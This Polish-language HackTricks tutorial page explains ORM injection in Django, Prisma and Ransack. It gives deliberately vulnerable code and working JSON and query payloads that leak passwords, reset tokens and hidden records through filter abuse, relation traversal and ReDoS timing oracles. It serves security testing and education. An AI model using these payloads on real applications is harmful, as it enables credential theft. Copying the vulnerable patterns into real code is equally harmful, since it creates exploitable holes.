ORM Injection
Reading time: 7 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Django ORM (Python)
W tym poście wyjaśniono, jak można uczynić Django ORM podatnym, używając na przykład kodu takiego jak:
class ArticleView(APIView):
"""
Podstawowy widok API, do którego użytkownicy wysyłają żądania w celu
wyszukiwania artykułów
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Zauważ, że wszystkie request.data (które będą w formacie json) są bezpośrednio przekazywane do filtrów obiektów z bazy danych. Napastnik mógłby wysłać nieoczekiwane filtry, aby wyciekło więcej danych, niż się spodziewano.
Przykłady:
- Logowanie: W prostym logowaniu spróbuj wyciekować hasła użytkowników zarejestrowanych w systemie.
{
"username": "admin",
"password_startswith": "a"
}
caution
Istnieje możliwość przeprowadzenia ataku brute-force na hasło, aż zostanie ujawnione.
- Filtracja relacyjna: Istnieje możliwość przeszukiwania relacji w celu ujawnienia informacji z kolumn, które nie były nawet przewidziane do użycia w operacji. Na przykład, jeśli możliwe jest ujawnienie artykułów stworzonych przez użytkownika z tymi relacjami: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains": "pass"
}
ostrzeżenie
Możliwe jest znalezienie hasła wszystkich użytkowników, którzy stworzyli artykuł
- Filtrowanie relacji wiele-do-wielu: W poprzednim przykładzie nie mogliśmy znaleźć haseł użytkowników, którzy nie stworzyli artykułu. Jednakże, śledząc inne relacje, jest to możliwe. Na przykład: Article(
created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
{
"created_by__departments__employees__user_startswith": "admi"
}
caution
W tym przypadku możemy znaleźć wszystkich użytkowników w działach użytkowników, którzy stworzyli artykuły, a następnie wyciekają ich hasła (w poprzednim jsonie wyciekają tylko nazwy użytkowników, ale później możliwe jest wycieknięcie haseł).
- Wykorzystywanie relacji wiele-do-wielu między grupami a uprawnieniami w Django: Co więcej, model AbstractUser jest używany do generowania użytkowników w Django i domyślnie model ten ma pewne relacje wiele-do-wielu z tabelami Permission i Group. Co zasadniczo jest domyślnym sposobem dostępu do innych użytkowników z jednego użytkownika, jeśli są w tej samej grupie lub dzielą te same uprawnienia.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Obejście ograniczeń filtrów: Ten sam post na blogu zaproponował obejście użycia niektórych filtrów, takich jak
articles = Article.objects.filter(is_secret=False, **request.data)
. Możliwe jest zrzucenie artykułów, które mają is_secret=True, ponieważ możemy wrócić z relacji do tabeli Article i wyciekować tajne artykuły z artykułów nietajnych, ponieważ wyniki są łączone, a pole is_secret jest sprawdzane w artykule nietajnym, podczas gdy dane są wyciekane z artykułu tajnego.
Article.objects.filter(is_secret=False, categories__articles__id=2)
caution
Nadużywanie relacji może umożliwić obejście nawet filtrów mających na celu ochronę wyświetlanych danych.
- Błąd/Czas oparty na ReDoS: W poprzednich przykładach oczekiwano różnych odpowiedzi, jeśli filtracja działała lub nie, aby użyć tego jako orakula. Ale może się zdarzyć, że jakaś akcja jest wykonywana w bazie danych i odpowiedź jest zawsze taka sama. W tym scenariuszu może być możliwe wywołanie błędu w bazie danych, aby uzyskać nowy orakula.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
- SQLite: Domyślnie nie ma operatora regexp (wymaga załadowania rozszerzenia zewnętrznego)
- PostgreSQL: Nie ma domyślnego limitu czasu regex i jest mniej podatny na backtracking
- MariaDB: Nie ma limitu czasu regex
Prisma ORM (NodeJS)
Poniżej znajdują się sztuczki wyciągnięte z tego posta.
- Pełna kontrola nad wyszukiwaniem:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Atakujący ma pełną kontrolę nad wszystkimi opcjami prisma
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Możliwe jest zobaczenie, że całe ciało javascript jest przekazywane do prisma w celu wykonania zapytań.
W przykładzie z oryginalnego posta, to sprawdzi wszystkie posty stworzone przez kogoś (każdy post jest stworzony przez kogoś), zwracając również informacje o użytkowniku tej osoby (nazwa użytkownika, hasło...)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Następujące zapytanie wybiera wszystkie posty utworzone przez kogoś z hasłem i zwróci hasło:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Pełna kontrola nad klauzulą where:
Przyjrzyjmy się temu, gdzie atak może kontrolować klauzulę where
:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Wrażliwe na wycieki ORM
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Możliwe jest bezpośrednie filtrowanie haseł użytkowników, jak:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
caution
Używając operacji takich jak startsWith
, możliwe jest wycieknięcie informacji.
- Obchodzenie filtrowania relacji wiele-do-wielu:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Możliwe jest wycieknięcie nieopublikowanych artykułów poprzez powracanie do relacji wiele-do-wielu między Category
-[*..*]-> Article
:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Możliwe jest również wycieknięcie wszystkich użytkowników, nadużywając niektórych relacji wiele-do-wielu z pętlą:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Błędy/zapytania czasowe: W oryginalnym poście można przeczytać bardzo obszerny zestaw testów przeprowadzonych w celu znalezienia optymalnego ładunku do wycieku informacji za pomocą ładunku opartego na czasie. To jest:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Gdzie {CONTAINS_LIST}
to lista z 1000 ciągów, aby upewnić się, że odpowiedź jest opóźniona, gdy odpowiedni leak zostanie znaleziony.
Ransack (Ruby)
Te sztuczki zostały znalezione w tym poście.
tip
Zauważ, że Ransack 4.0.0.0 teraz wymusza użycie jawnej listy dozwolonych atrybutów i powiązań do przeszukiwania.
Przykład podatny:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Zauważ, jak zapytanie będzie definiowane przez parametry wysyłane przez atakującego. Możliwe było na przykład przeprowadzenie brute-force na tokenie resetującym za pomocą:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Dzięki brute-forcingowi i potencjalnym relacjom możliwe było wycieknięcie większej ilości danych z bazy danych.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.